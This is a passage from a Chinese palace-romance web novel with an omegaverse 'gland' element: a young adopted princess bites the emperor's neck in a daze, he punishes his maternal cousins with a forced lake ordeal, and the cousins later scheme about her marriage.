她不由的埋怨地看了一旁同行的翁思妩一眼,都怪她,要不是她非要那么较真,动静哪里会闹那么大。
翁思妩也觉得走了好远,这是她第一次走出陈太后桂宫的范围,知道帝宫很大,却不知这么广阔,走了一回深深感受到真让她一个出来,她真的会迷路的。
就是不清楚丁松泉到底要带他们去哪里,她好奇地看过去。
丁松泉不咸不淡地说道:“宫中有座湖心亭,陛下就在那里,诸位,可别叫陛下久等了。”
陈诗织敢怒不敢言地望他一眼,终究忍气吞声地低下了脑袋。
帝宫占地上万亩,前朝与后宫分开,中间修建的便是花园,每个园子都相通风格却各不相同,更不用谈一座接一座的琼楼玉宇。
太远的出行都要乘辇,只是他们等人并无官位也非妃嫔,没到分位有资格乘车,方才步行去拜见。
丁松泉:“诸位,到了。”
翁思妩从渡舟上下来,打量所在的这片小湖岛,不靠近水边,根本瞧不出他们现在所处位置是在湖上,景色清幽,和任何一座厅殿楼阁没什么区别。
“陛下就在前面,芙徽公主,陈公子陈娘子,请吧。”
丁松泉一抬手,几人走了几步,发现丁统领根本没打算再跟上,只能四人结伴前去面圣。
陈诗织说:“芙徽公主是陛下的‘阿妹’,身份尊贵,理应站在前排。”
说罢,与陈诗问挤在一起,还是陈诗予打了个圆场,暂且化解了对前路微渺的阴霾。
陈诗予:“那我和阿妩一块走吧,诗织和诗问一起。”
翁思妩本就无所谓,只是陈诗织先前非议梁寂鸾,现在又拿梁寂鸾当洪水猛兽的做派太明显了,还想拿她来做挡箭牌。
翁思妩缓缓往后退了一步,态度坚定,“那还是陈大公子先行吧,大公子最年长,小妹跟着你就行。”
这下好了,翁思妩直接排中间,不用打头阵也不用站前面,怎样都有人,她更安全。
刹那间,陈诗织看翁思妩的表情一言难尽,此刻不光是做贼心虚的陈氏兄妹忌惮起他们的帝王表兄,翁思妩也不想当那个惹眼前锋。
她没忘了,一凑近那个人她就会变得十分奇怪,举止难耐,万一被人发现当众出丑,那丢的可是一辈子的脸面。
四人拖拖拉拉迈进门槛,先前在陈太后宫中见到梁寂鸾,帝王之威气度尽显,换个僻静清雅的地方看又不一样了。
身如翠竹,神仪明秀。
阴影之下深藏眉骨,气态沉敛,侧面的轮廓超乎寻常的优越。
“为何来的这么晚。”
梁寂鸾:“朕不记得神风禁卫收纳了些散兵,还需你们在外面排兵布阵。”
讲者有意,听者脸上一红。
这是讽刺他们刚刚拖拉那么久,迟迟不敢到他跟前面圣。
除了翁思妩,陈诗予等人都跪了下去,“陛下恕罪,适才在外面是为了不御前失礼,整理仪容,这才来晚了些,让陛下久等,是我等之过。”
陈诗予率先回话,陈诗问和陈诗织跟着附和,“请陛下恕罪。”
站在跪着的人的中间,翁思妩犹如独苗那样招眼,她一瞬间根本不敢与那双如玉似墨的冷静眼珠对视,只要梁寂鸾所在之处,那股能牵扯她身体躁动的气息从四面包围席卷,直往她身上扑。
翁思妩抵抗不住,微微瑟缩着垂下小脸,哼唧出一句:“阿妩,也请阿兄……宽恕。”
她声音不大,还需仔细听才能听清。
奈何周围人都惧他,四下鸦雀无声,那句含糊不清的“阿兄”,还是落入了所有人的耳朵里。
预想中的帝王之怒并没有出现,在翁思妩说完话之后,梁寂鸾极为平淡地从她身上滑过视线,恩准道:“起身吧。”
陈氏兄妹忙不迭应下:“是,陛下宽厚,多谢陛下。”
起身后,陈诗问主动打破尴尬的气氛,自然地笑着说:“早知宫中星虎苑有座湖心岛,碧波如瑶池,景色如仙家后院,没想到今日终于有幸来这里一观了。”
“这要多谢表兄相邀,诗问当感荣幸之至。”
他骤然称呼梁寂鸾,令陈诗予心吓一跳,皱眉,“诗问,不得无礼。”
陈诗问无辜道:“怎么了,哥,我无礼在何处,你可不要冤枉我。”
陈诗予:“陛下万金之躯,你不要不知规矩,该如何称呼就如何称呼。”
陈诗问年少,不管是做出委屈的神态还是疑惑的模样都有他的英气灵动,他大可以仗着年纪小指出,“陛下是陛下,难道就不是我等表兄了?大哥,你且太生分了些,我们同为一个母族,哪里不知陛下该尊重,但身为表亲,做弟弟妹妹的,自然也想同表兄亲近啊。”
“阿妩妹妹,你是陛下的阿妹,应当能理解我这份兄友弟恭之情,你说,我说的有错吗?”
翁思妩愣住,不知陈诗问拉她入场做什么,莫非是想在她跟前证明,他们与帝王才是一脉相承,是骨肉血脉之亲,比她这个异姓公主可要名正言顺多了。
她不想参与这场纷争,哪能做得了帝王的主,于是微微抬眸,偷偷看向梁寂鸾。
梁寂鸾容色不变,背着光在忽明忽暗之中神姿高彻,很是清介。
“说的不错。”梁寂鸾一开腔,独有的沉淡声线便将人的注意力都拉了过去。
却毫无例外不敢与之对视,那双洞察所有的清润黑眸俯视下来,仿佛所有人的心思都无所遁形,“你是想说都是表亲,就无须在意这些虚礼,是吗?”
陈诗问:“那陛下的想法呢?”
梁寂鸾从半明半昧中走出来,步履稳重,不过短短两步就给足了他们一种压迫之感,不管是威仪还是身形都让人屏息安静,心跳放缓。
梁寂鸾:“朕认同此理。”
话音落,陈诗问正准备笑笑,要谢恩,就听梁寂鸾道:“从前朕忙于继承大统,的确倏忽了与亲族之间的往来,对你们不够关照,更不知尔等会缺乏管教。但从今后起——”
他的目光从他们身上一一睇过去,陈诗问早已僵在原地,陈诗织更是躲在陈诗予身后大气不敢出一声。
梁寂鸾:“朕自然会与你们常联系,诗问,你这是什么表情,怎么不高兴?”
陈诗问再如何耍滑机灵也不过是个少年,帝王威严之下,只有梁寂鸾言谈自如,神情不
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变。
陈诗问硬生的挤出一丝笑:“不,没有……”
陈诗予终于站出来为陈诗问求情,“诗问无状,放肆了,还请陛下恕罪,我这就将他带回去,好生管教,让他虔诚思过,不可再犯了。”
“走,诗问,诗织,快向陛下请辞。”
他们巴不得赶紧走,事已至此也终于明白,帝王天威就是容不得他们放肆,哪怕是族亲,真真应了翁思妩那句,臣是臣,君是君。
然而。
梁寂鸾仿佛未将他们的恐惧之色放于眼里,说:“倒也不急,你们难得入宫一趟,没在星虎苑游玩过,今日就在此好好赏景吧。”
“此处湖泊翠绿,底下藏有特别的萤石,的确胜似瑶池,美得不可胜收。”
他从窗外收回视线,缓缓落到垂头丧气面如死灰的三人跟前,“这么美的景致,诗问方才还曾夸奖过,你们兄妹三人应该想去看一看?”
他低醇浅淡的一声“嗯?”
门外丁松泉便如神出鬼没般现身,怀着渗人的笑,“二位公子,陈娘子,请。”
等到陈诗予三人前后出去,这一处观景的室内便只剩翁思妩和梁寂鸾两人。
如同特意为他们腾清净,外边把守都退到另一方,看紧入口不让其他人来,翁思妩回头就只留意到来时路上的青松绿草,以及空无一人的幽静。
她屏着呼吸,觉得这里越发安静,梁寂鸾也不叫她,像是要将她故意晾着。
而翁思妩刚见识过他是怎么不温不火教训陈诗问等人,又思及宫中传闻的他的手段,一时不敢主动开腔,万一言语有失,她可能也要被打发到湖里看萤石。
她很想走,鼻息里一直窜入梁寂鸾身上的气息,浑似勾引,从刚才就对她颇有影响,对她神智作乱。
只是因为旁观处理陈诗问一事被分散了注意力,现在感官都回笼了,又只有他们二人在,翁思妩的感觉就更明显了。
就在她想撤退时,梁寂鸾终于朝她抬眸看过来。
他坐在案台边的椅子上,“怎么不说话?”
翁思妩冷不丁打了个颤,似受惊一般,娇眸扑闪,答非所问,“我,我也要去吗?”
气氛静了一瞬。
梁寂鸾:“去哪?”
知道是自己误会了,见对面远坐的人没有不悦的迹象,翁思妩拂着心口,赧然道:“我以为,是让我也去看萤石。”
透过窗,翁思妩已经发现湖上多了一艘船,丁松泉和陈家兄妹都在上面。
帝王特例的嗓音似乎被取悦到了,“那你想去吗。”
扑通一声,一个人影掉了下去。
翁思妩白着脸摇头,“我不想,我不会戏水的,阿兄。”
这回她的口齿清楚,不像之前含糊地像把他的称呼含在嘴里,现在四下无人,鸦雀无声,翁思妩的讨巧明明白白清清楚楚递进梁寂鸾的耳朵里。
而且她在惊吓之际,呼吸变得急促,胸脯起伏,不停细喘。
旁人喘到没什么,但翁思妩是个美人,她及笄了,适婚年龄,正适合婚配嫁人,且还是陈太后招入宫的。
也许陈太后在殿里和韦伯侯说的话,不过是蒙蔽他的障眼法,这样动不动就含情,两眼水汪汪的女子,是用来招揽他的。
如今朝中势力,尽数被梁寂鸾掌控,先皇故去,帝王又未娶妻,太后在后宫算是独大,前朝又无话语权。
母子二人关系僵硬,势必要用外力前来安抚调和。
美人计是再好不过的人选,梁寂鸾审视着像发了高烧,琼鼻樱唇,眉色如黛,眼神迷离透着清热熟美的翁思妩。
清眸幽暗,忽地离开座椅,朝那道细得不能再细的腰肢伸出了手。
9. 第 9 章
翁思妩神思还是清明的,但是她的腰软了。
她在克制着冲动,紧贴着墙壁,让自己不要朝中心坐着的那道身影靠过去,很难说她为什么会觉得梁寂鸾身上的气息那么吸引她接近。
听他讲话,她会觉得很好听,却忘了就是那道嗓音说着“诗问应该会喜欢看水吧”,就将人打发去湖里。
她觉得自己在这里多待一会就要露馅了,只要远离了梁寂鸾,她就会恢复正常。
但是朦胧中,她看见梁寂鸾起身了,从那边走过来,翁思妩疑惑自己为什么会就这么呆呆地看着,直到她腰一软,身上多了一股用了劲却不会伤及她的力道。
才知她已经因为双腿酥麻而靠着墙壁滑下去了。
是梁寂鸾伸手稳稳地把她捞了起来,铺面而来的气息让翁思妩仿佛置身笼子里,四面八方被堵住去路。
她完全放任自己的腰肢瘫软在梁寂鸾的臂弯上,墙都靠不住,眼皮泛起花瓣似的雾红,她嘴唇微张,开开合合,却吐不清一个字,听到的全是喘息。
梁寂鸾根据她的口型辨认出前两个字,“阿兄。”
陈太后认翁思妩为义女,又请封,让她这么称呼他,翁思妩这个公主确实很听话。
接着,梁寂鸾胸膛被轻拂了下,翁思妩好似想站起来却动不了,她一直在无声说着什么想让梁寂鸾低头。
神情难耐又无助,而梁寂鸾依旧铁石心肠面无表情地观察着她的异色,没有下一步举动。
直到胸膛上传来像猫爪一样挠他的动作,隔着衣裳,那几根玉指因为不能得偿所愿捏成了拳头,梁寂鸾好似听见了一声啜泣。
他这才开恩把人扶正,举起她的手臂,让她无力的腰身紧贴墙面,凑近了低头。
梁寂鸾:“你想说什么。”
刚刚还念念有词含糊不清的翁思妩却因他猝然地接近,忽然像点穴一样噤声,梁寂鸾脖子上不知何时摸上来一只细腻手腕,将他勾住。
肌肤微凉,软嫩如脂。
心中那道想法直接成型,梁寂鸾纹丝不动,清缓地道出她的姓名:“你在做什么呢?翁思妩。”
陈太后为她请封,是陈太后的决定。
义女也是陈太后认的,什么阿兄阿妹与梁寂鸾都没有关系,连接人入宫都是陈太后自作主张。
梁寂鸾话音里透着淡淡微凉的戏谑之意,“你好像,也不怎么通规矩,她就是这么让人教导你,选好投怀送抱的时机……你”
剩下的话截然而止葬在喉咙里,后颈上的皮肉被咬住的痛楚和酸意快速回传到梁寂鸾的身体里。
那是他的腺体,一生之中非命定之人绝不能碰的禁忌之地。
翁思妩在梁寂鸾靠近的那一刻起,就发现了他身上最吸引她的就是脖子的位置,她怀着像发现秘密一样的窃喜得意,忘了分寸,只想狠狠还击一下这个地方。
让它别老散发欺负她的气息,令她变得魂不守舍,在清醒和迷失之中不断来回拉扯,她想纾解还得不到纾解,已经忍无可忍了。
必须得给它点颜色看看。
好不容易等到机会,她趁面前的猎物分心小觑她之际,乖顺接近。
等他分神叨叨着不知道在说什么之际,张开小嘴,唇瓣里的贝齿如蚌里的珍珠雪白坚实,一口咬了上去,她听见远高大于她的阴影发出一道细微而不易察觉地声音,身形却稳如磐石。
翁思妩如幼鸟衔住那块脖颈上的肉,舍不得吃,小嘴吞又吞咽不进,只能含了又含,舔了又舔。
下一刻,她的腰身连带下颚都被人从身上重重扒下来。
被捏住腮帮无法闭拢嘴巴的她,终于收回一些神智,视线如拨开云雾,看清居高临下注视着她的脸。
帝王的面孔被一层无形的阴影笼罩着,幽漆的眼眸如被注入了一丝更深层次的情绪,无声且深深地打量着她。
翁思妩顿时清醒过来自己做了什么,不知道为何,刚刚那样冒犯对方以后,她体内那股瘾好像淡了许多,似是被气息安抚住了,没再那么不可控制。
她终于认清局势,忐忑地回视帝王的目光,身躯悄悄拉开距离,“我,我不是有意的,陛下我……”
梁寂鸾:“谁派你来的。”
翁思妩:“什,什么……”
梁寂鸾审察着一脸无辜的翁思妩,翁校仲是忠臣的确没错,效忠的却不是他这位新主,他的气运差了些,情深不寿,为官没多久就无心官场上的事了。
而先皇,梁寂鸾的生父命也不长,梁家血脉多少有点问题,活不长久。
不是疯就是病的,所以梁寂鸾对这位先父旧臣并没有太多的观感,而翁思妩,人美长相甜,无父无母,守着一堆财产,自然会被当做适合操控的对象。
即便陈太后与韦伯侯说,翁思妩于她另有作用,也不知是否在混淆视听。
而翁思妩所作所为又实在……出格。
与陈太后口径不相统一,难道是没商量好么?
久没等来回应,翁思妩动了动,想挪开身体:“陛下?”
她暴露想出去,想保持距离的意思,提醒梁寂鸾,“方才是阿妩不舒服,不是真心想要冒犯陛下,阿妩也不知怎么了,定然是着相了,这才神志不清那样做的。”
“真的不关阿妩的事啊。”
事态的发展似乎一下被推给了鬼神论,梁寂鸾好整以暇退开一步,抬手抚摸刚才被咬住的后勃颈,掌心贴肉,还能感觉到上面小颗细粒的牙印。
他静静看着翁思妩演戏。
依稀想起先帝在时朝堂对旧臣的评判,“朝中分文臣武将,两者平分秋色,都是会杀人的利器,文臣用的是嘴和笔墨,武将使的是技艺与武器,你若能好好驾驭,此间天下,非你莫属。”
会杀人的文臣自然就是这些勋贵世家,代代有历,门楣做框,底蕴做骨,常年学习清谈,巧言善辩,翁家是无例外,为当中的一员。
翁思妩为翁校仲的独女,常年陪伴父亲身边,怎么可能不受耳濡目染。
翁思妩根本未曾留意到梁寂鸾是如何看待她的。
她急着想走,千万不要
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让被冒犯的帝王找她麻烦,而且现在的情况太过复杂了,她频频看向屋外,绿意盎然,代表无限生机,透露出向往之意。
“天色不早了,好像起风了,阿妩不便再此处打扰陛下,万一有人来,不识得我,误以为授受不亲,岂不是耽误了阿兄?”
翁思妩:“阿,阿兄,这就让我走吧……姑母,指不定在想着我呢。”
人言狡兔三窟,梁寂鸾还未见过这种“兔”。
她真是汲取了文臣那些刁钻的辩词,为自己辩护,但是只要梁寂鸾不发话,翁思妩就不能走,她对这里不熟,刚才来路都是丁松泉引领的,所以只要梁寂鸾答应派人送她回去,她就安全了。
然而梁寂鸾始终保持着护着脖子的那个姿势,面无喜色地盯视着她,淡声说:“太后不会想你,你们来此,朕早已派人报备过行踪,等玩够了尽兴,方才送你们回去。”
这如同宣告了翁思妩的死期。
陈氏兄妹还在湖里看萤石,她刚刚冒犯了梁寂鸾不久,到底是谁比较尽兴?
“那我,那我……”
翁思妩嘴唇嗫嗫,不知该怎么为自己求情,“那我给阿兄揉一揉吧?阿兄一直捂着脖子,是不是很痛?”
梁寂鸾拂开翁思妩的手,抬高下颔,以一种匪夷所思地眼神看着翁思妩。
翁思妩面露茫然,不知道梁寂鸾为什么这样看她,好像她犯了一种无知的大错,一次又一次的犯禁。
腺体是梁家人独有的属性,就是由这里的器官散发他们的血脉气息,吸引和寻捕他们的命定之人。
同他们一样,属于他们的命定之人在脖颈处也会有这样的腺体,区别在于他们这种属性的腺体为产出,命定之人的腺体为接收。
每个拥有这样体质的梁家人从转化为这种属性起,一生都在致力于将腺体里的气息注入到另一半身体里。
日思夜想,夜不能寐,每到发热期这种滋味就蚀骨般难忍。
梁寂鸾以为他发病这事在宫中已不是秘密,眼前担心他发怒,一脸小心翼翼地女子难道一点也不知情,他的脖颈最不能碰?
梁寂鸾果断拒绝:“不必,无需。”
他用了两个否定,翁思妩一时好奇盯着他的脖颈,难道那里是什么宝地?
而且好神奇,她抚摸心口,感觉现在她已经没有了那种浑身都痒的难耐躁动,仿佛刚刚咬过的地方成了她的良药。
发觉梁寂鸾深色的视线里,看她的眼神多了一丝冷淡防备之意,翁思妩颇为受挫地低头,“喔。”
却不知她这般反应在梁寂鸾眼中直接代表伪装失败,引诱不成,便退而求其次来接近他。
不然如何解释她先前一副春情欲乱的模样望着他,此刻又乖顺清醒下来,恢复正常。
即便翁思妩不肯承认她是太后为他准备的人,梁寂鸾也已经通过自己的方式完成了认证,他不再执着于从翁思妩口中得到一个答案。
而是就将她认作为那种心怀目的的女子,莽撞、羞涩和难为情,都是用来博取关注的手段。
10.第 10 章
这日不管是陈氏兄妹还是翁思妩都直观感受到了帝王之威,是不可捉摸,也是不可僭越,哪怕再亲,血缘再接近,到了梁寂鸾跟前,他们所有人都必须遵守规矩。
今日连小惩都算不上,只不过是稍微让他们领略天子威仪,但有下次,定然不指游湖这么简单。
天色昏黄之际,陈太后终于派人来催问,几位公子娘子玩够了没有,这样晚了,怎么还没回去。
天子日理万机,可不要一直打扰他的空闲时间。
屋中刚从水里捞上来的陈诗予陈诗问被呈上早有准备的姜汤,角落还有热水、衣物。
丁松泉笑着道:“未免公子们受凉,在下提前备好这些暖品享用,萤石虽好看,公子们也不可长久贪恋,否则生了病,岂不是要叫太后担忧。”
陈诗问阴着脸朝他看过去,说什么看萤石,他不过是随口夸赞一句,就被拉上了船,还不得不下水在湖里泡了许久。
想回船上还不行,丁松泉已经命人把船开走,就在附近守着他们。
要不是他们兄妹三人会戏水,早就不知淹死多少次,就是如此,还是免不了在湖里受冻,泡个一时半会儿还行,但近一个多时辰,湖里好似还有凶兽,绕着他们游。
直接将陈诗织吓得三魂去了六魄,哭着求饶,陈诗予陈诗问也被激出一身冷汗。
三人一同求情,见时候差不多了,丁松泉才命人接他们上船,不然以他们的体力,此时已经葬身鱼口。
陈诗予脸色也不霁起来,他作为兄长,却护不住弟妹已经损伤他的尊严。
回想今日受到的惊吓,陈诗予道:“丁统领,你们是不是太过分了些?我与弟妹何错之有,要承受你们这般戏耍,是真当我陈家人好欺负?”
丁松泉嬉皮笑脸回道:“大公子说什么?什么叫欺负,不是二公子自己说,这瑶池好看的吗?陛下一片好心,邀请你们观湖赏景,又何错之有?总不能因为两位受了点风寒,就将错误推倒主人身上。”
“那我阿妹呢?她一个娇弱女子,如何受得了这湖里的冰凉!”
丁松泉目视满脸怒火瞪着他的陈诗问,笑容倏地在下一刻收敛。
他问:“公子当真觉得很严重吗,那若是将陈娘子送进牢狱,两位就觉得轻松了吧?”
陈诗问:“你什么意思,我们做了何事你要送阿妹进大狱。”
丁松泉:“二公子真是无辜,令妹说了什么,你难道不是也有参与?”
陈诗问当下脸色一变,陈诗予也沉下表情,“陛下怎么会知道?诗问诗织不过无心之语,无伤大雅,何故……”
“这就要看大公子怎么看待无伤大雅了,”丁松泉打断他们,“若是每个入宫的人都这么不分尊卑,无伤大雅,大公子是觉着所有人都能议论陛下吗?不敬天威,如同逆谋,规矩都是一点一点守出来的,不从小训诫,规矩何在?”
“要知道上一个口出狂言之人已经向陛下请死了,只是请三位游湖,陛下已经是宅心仁厚了。”
陈诗问不可置信道:“可我们与他是表亲,我父亲乃是他亲国舅!”
丁松泉无声微笑着冷冷地看着他们,眼中的不以为意说明了一切,“二公子认为,是先有国君,还是先有的国舅呢?”
这话陈诗问和陈诗予都不敢随意再答。
丁松泉叹息一声:“这般说好像显得太薄情,但见大公子即将入仕,二公子又涉世未深,在下今日就在这里提点两位几句——”
“不管你以何为姓,君就是君,参见了帝王要恭敬,帝王不在的地方亦要约束好言行,因为,”丁松泉:“天下至尊,不缺情意。”
莫说陈氏是母族,梁寂鸾还有旁的梁家宗亲,陈诗问陈诗予这种非父系的兄弟远不到可依靠的程度,梁家自己人就能独当一面。
攀亲带故,倚仗亲族,从来不是梁寂鸾的需求。
反倒是他们,渴求天恩,才是他们赖以生存的必需品。
另一间屋子里,泡了热水喝了姜汤的陈诗织眼泪婆娑,哭哭啼啼,红着眼看向一旁等她的翁思妩,“凭什么你没事,我与阿兄们泡水,你却在这里好吃好喝。”
她是说错话了,可她也是梁寂鸾的妹妹,从小到大都是眼熟的,难道不比翁思妩这个异姓的亲。
桌旁翁思妩撑着下颔,一副失神迟钝样,听到陈诗织忍无可忍地叫她的名,才恍然回神,“什么?”
陈诗织:“我问你,你到底使了什么邪术,让表……让陛下罚我们,不罚你!”
翁思妩身上干干净净,何曾有一丝水汽,衣裳没乱,肉眼可见之处也无伤,陈诗织越看越不服气。
知道自己是招了恨,翁思妩茫然疑惑地回视陈诗织,“陛下为何要罚我呢,阿妩不曾对他言语有失,若是……”
她说到一半想起什么,耳朵不自觉地红了,隐瞒不道。
陈诗织:“若是什么?”
翁思妩转移话题,“陈娘子,你们被罚与我没有干系的呀,如果你小心谨慎些,不要拿他当表兄,而是天子,就不会有这种事了。”
大家都是在一个屋檐下,头顶上有人,还不知收敛,肯定会遭罪的。
“你……”
到底不想给自己惹麻烦结仇,翁思妩好声道:“其实我也并未独善其身,陛下对大家都是一视同仁的……你们走后,我也不小心得罪了他。”
陈诗织一腔怒火骤然有了熄灭的余地,想听翁思妩是如何倒霉的心理直接抢占上风。
剃掉她是如何在神志不清期间,抱住梁寂鸾脖子咬了他一口的,翁思妩回忆她被请来跟陈诗织作伴之前发生的事,忍不住勾下细颈,面颊上的嫩肉跟着变得微烫。
不知为何,梁寂鸾当时并未再追究她冒犯他的举动,没治翁思妩的罪。
反倒是问她,“你入宫是你自己甘愿的?”
翁校仲的请求梁寂鸾并非不清楚,陈太后肯庇佑翁思妩,翁思妩定然要付出些什么,或是沦为棋子。
答案显而易见,两者都是,既然选择了太后做靠山,就要做好被物尽其用的准备。
翁思妩表现得如同懵了下,她不太明白梁寂鸾话里的潜含义,却隐隐感觉到哪里不太对劲。
在帝王的注视下,翁思妩不敢拖沓太久,最终只能缓缓点了头。
得到承认,翁思妩发现那一瞬间,帝王看
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她的眼神好像多了些细微的感觉,好似失望又觉得果然如此,难道是因为她是陈太后的人,所以不喜欢她?
这母子二人不和,连带着身边人都会讨厌也会理所应当。
怎么可能还会爱屋及乌?
意识到这点的翁思妩陡然感觉到怅然若失,似乎,她并不想让帝王讨厌她。
陈诗织从翁思妩复述的话语中抽离出来,说:“所以,你的意思是说,陛下他是因为你是姑母一党的人,所以就算你没做错,碍于身份,他也不怎么喜欢你?”
翁思妩听出她声音里的幸灾乐祸,犹豫道:“我只是猜想而已,并不确定……”
陈诗织俨然抓到了她的痛点,终于扳回一局,反复强调,“就是如此!你猜想的不错,他连我们这些表亲都不喜欢,怎么会喜欢你!”
“一定是因为这个道理,近些年他跟姑母关系不好,肯定连带我们也看不顺眼,所以才借此机会整治我们,一定是这样!”
所以翁思妩并不是多特别的那一个,这个想法让陈诗织终于痛快了不少,对她的怨气也渐消。
就如看同是天涯沦落人,当然翁思妩比她更惨一点,她可是明确被梁寂鸾表示过讨厌。
陈诗织犹如掌控了一个秘密,有资格反败为胜,哼声道:“你可别安慰自己了,我那表兄,他从小身为储君,不会轻易表达喜怒,若是你真感觉他讨厌你了,那一定是真的。”
“千真万确,的的确确!”
翁思妩微微恼了,“可他并未直说,不过是我自己猜想的罢了,你怎好替他人做主,说这种话呢。”
陈诗织霸道地一挥手,“我说是就是,我们虽然不亲,却也是从小看到大的,你说是我了解他多还是你了解得多呀,阿妩,不要自欺欺人了,这么多年,我还从未见过表兄他对任何一个女子表达过欢喜。”
“你都言他问你是不是因为姑母才甘愿入宫的,他对太后意义那么大,肯定不喜你,还用问吗?”
陈诗织安慰道:“好啦阿妩,既然你也不讨陛下喜欢,那我们之间的账也就清了,我不怪你,我们还能做好朋友。”
翁思妩哪里想同她做好友!
她被陈诗织左一句“不喜欢”右一句“不喜欢”闹得心头慌闷,“若是我感觉错了呢?一次不喜欢,又不是打入冷宫,还不能叫他对我改观吗?”
被驳了面子的陈诗织吃惊地看着她。
屋门紧闭的窗外悄无声息地垂立着一道不知听了多久的阴影。
翁思妩掩盖住莫名的恼羞成怒,艳若桃李,神眸含秋,“我又没有犯错,为何不能不讨厌我?”
她不敢提喜欢,那样好像太超过了,太自以为是。
说不讨厌,似乎也大放厥词了些……
桌下翁思妩绞着手帕,嗫嗫的,声娇得无比动听:“就,就算真的是你说的那样又如何,我又不是要为了博他喜爱而活……我,我才不介意旁人怎么想我。”
她抬眼看一眼完全愣住的陈诗织,秀鼻微皱,不经意地回呛了她一句,“那些将他人想法看得太重的,在不在意被人喜欢的,才是真的可怜。”
她才不要活得好可怜。
11.第 11 章
翁思妩陪同陈诗织穿戴好衣物,与陈诗予陈诗问二人汇合,在场的只有丁松泉等候在那,身边已经不见了梁寂鸾的身影。
丁松泉:“陛下有要务要理,他命我送四位回去。 ”
陈诗予等人岂敢再让他送,然而回去的路不好走,地形复杂,宫中不能随意走动,只能憋着气任由丁松泉领路。
等出了星虎苑才说:“不劳丁统领护送,我们已经识得路了,可以自己回去。”
丁松泉对他们避而不及的态度并未放在心上,笑容满面,“如此,那我就不送了,下回陈公子陈娘子再入宫,在下再好生招待。”
谁还想再见到他?这笑面虎,笑里藏刀,当面一套背后一套!
陈家兄妹神色各异,都有些不霁,然而碍于今日刚吃过苦,都不想再造次。
“不必,心领了。”
陈诗予冷冷抬手敷衍地施了一礼,随即扭头对一旁还没走的翁思妩道:“阿妩妹妹,今日有幸相识,希望发生的事并未牵连到阿妩妹妹,对你产生影响。”
“来日有空,让阿织请你到家中做客,我们再聚。”
翁思妩客气地点头,“大公子多虑了,我没什么大碍。”
陈诗织插话进来,“也成吧,看在同一个姑母的份上,我会邀你到陈家玩的,翁思妩,我记住你了。”
她眼神里满是幸灾乐祸,还是忘不掉翁思妩得了梁寂鸾厌恶的事,本来还想摆架子不跟翁思妩往来,现在她想交她这个伴儿了。
就为了看翁思妩出丑,哼。
翁思妩别过脸,理都不理陈诗织,向丁松泉请辞,“丁统领,没什么事的话,我也要回宫了。”
丁松泉并未阻拦,反倒拨了两个侍卫,“天色渐晚,就让他们再护送芙徽公主一段路。”
默秋不在身边,翁思妩一个人走在偌大的宫中也会有一丝不安,于是也不拒绝,“多谢。”
她率先离开这里,其余人竟也没马上动身,反倒目送她走了一阵才收回视线。
丁松泉办完差事,终于可以回去复命。
陈家兄妹往宫门的方向走,天色虽晚,渐渐有风起来,白日里还会打闹的陈诗问和陈诗织这会居然出奇的安静。
要不说不要轻易得罪梁寂鸾,他们除了在湖里受了不小罪,如今身上因喝了姜汤泡了热水,根本显露不出任何异样,就是回去后跟韦伯侯端阳夫人告状,话里的指责又有几分可信的。
按照惯例,肯定又要说是陈诗问陈诗织带头胡闹罢了。
上了归家的马车,路途上陈诗织睡着后,陈诗问在黑暗中双目明亮如虎眼,质问陈诗予,“你待翁家那个态度好似格外不同?是什么缘由,你不说出来,我自然有法子弄清楚。”
陈诗予不想他闯祸,登时眉头一挑,“你可别乱来。”
陈诗问:“那你就说清楚。”
说陈诗织是今天他们遭罪的起因,翁思妩又何曾能摆脱干系?
如果不是她计较几句,这事打个马虎也就过去了,偏说得那么义正严词,不知道的还以为她跟天下之主一个姓。
这小娘,嘴也狠厉!
旁人看待陈诗问,都以为他是个多么书卷气灵秀的一个少年公子,但身为自家兄弟,陈诗予如何不了解自个儿弟弟,纵然灵秀年少,心眼也小。
陈诗予语调深沉下去,说:“她是太后属意的用以笼络世家子弟的人选,哪家权贵想与太后交好,太后就会将她嫁给哪家。”
翁家无人,翁思妩由她父亲临终前的遗愿送进宫,就是为她找一门靠山。
而作为回报,翁思妩的亲事可以被太后利用。
这倒不是说什么不好,陈太后如此提点她的身份,今后就能为她分配个好人家,以她现在的规格,怎样都算身份高贵的,嫁个权贵人家不成问题。
所以对翁思妩来说,除了婚事不能自己做主,其他方面并不全是害处。
通过几句言语,陈诗问很快理清道理,他问:“此事,你又是如何知晓的?”
陈诗予:“你忘了,父亲和太后有往来,她什么都会和父亲商量,我也是在书房凑巧听见的,只不过当日你不在家里罢了,你在做客。怎么,还以为是我故意瞒你吗?”
陈诗问带着少年气哼了一声,就在沉默的气氛流淌片刻后,他像是做了个决定。
陈诗予若有所觉地看过去。
陈诗问在黑暗中露出一抹兴味的笑,“一个孤女,倚仗着太后就这么恃宠而骄,就这么拿出去嫁人,真不是得罪人家?”
“我看不如,我来娶她!”
兄弟二人脑海中不约而同浮现出翁思妩离去的样子,弱柳扶风,如娇似玉,如此软绵温顺的一个人,较真起来实在可恶。
想到此,陈诗问的牙都硬了。
夜色之下,永安宫灯火通明。
丁松泉回去复命,踏入帝王寝宫,即可就察觉到了不对。
丁松泉:“陛下呢?”
守在殿外的近身侍卫道:“陛下从星虎苑回来,路上不发一语,进去后便让人请御医来了一趟。”
丁松泉顿时面色凝重,以为是出了什么状况,“怎么,出了什么事?”
侍卫被统领气势一震,说的犹犹豫豫,“说是……陛,陛下……被咬了一口。”
丁松泉:“……”
里面渐渐传来响动和说话声,丁松泉不期而然看到了熟悉的人影,“徐钰?”
永安宫内,徐钰刚为梁寂鸾把完脉象,他还带了药来。
梁寂鸾独坐在榻上,最显眼的,是他的脖颈上多了一圈纱布缠绕在上面。
丁松泉登时为之一惊,从未见过梁寂鸾受过这样的伤,大步跨入寝宫,护主心切,“陛下,这是怎么一回事?”
徐钰将药呈上给梁寂鸾,斜眼瞥他,道:“你是陛下身边的统领将军,陛下安危由你全权负责,你竟也好意思问陛下这是怎么一回事。”
丁松泉:“不是,今日下午之时微臣见陛下从星虎苑离去,身上并无异样啊!这是何时受的伤,是谁?!”
让天子身上出现伤口,是作为禁军统领的失职,但丁松泉更想知道是谁伤了梁寂鸾。
御医徐钰借着余光,也去偷偷看向神色趋向镇静的帝
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王。
梁寂鸾掀眸睇着两名下属,不怒自威:“你待如何?”
丁松泉在注视下收敛嗓门,手按住腰间的剑,回道:“自然是要将伤及天子圣体的人斩首示众,夷了他九族。”
想起那道娇柔身影,不敌他盈盈一握的腰板。
色如春花,饱受迷糊惊吓的脸。
梁寂鸾语气低沉,淡淡道:“那怕是不够你斩。”胆子小,几句话就能吓晕过去。
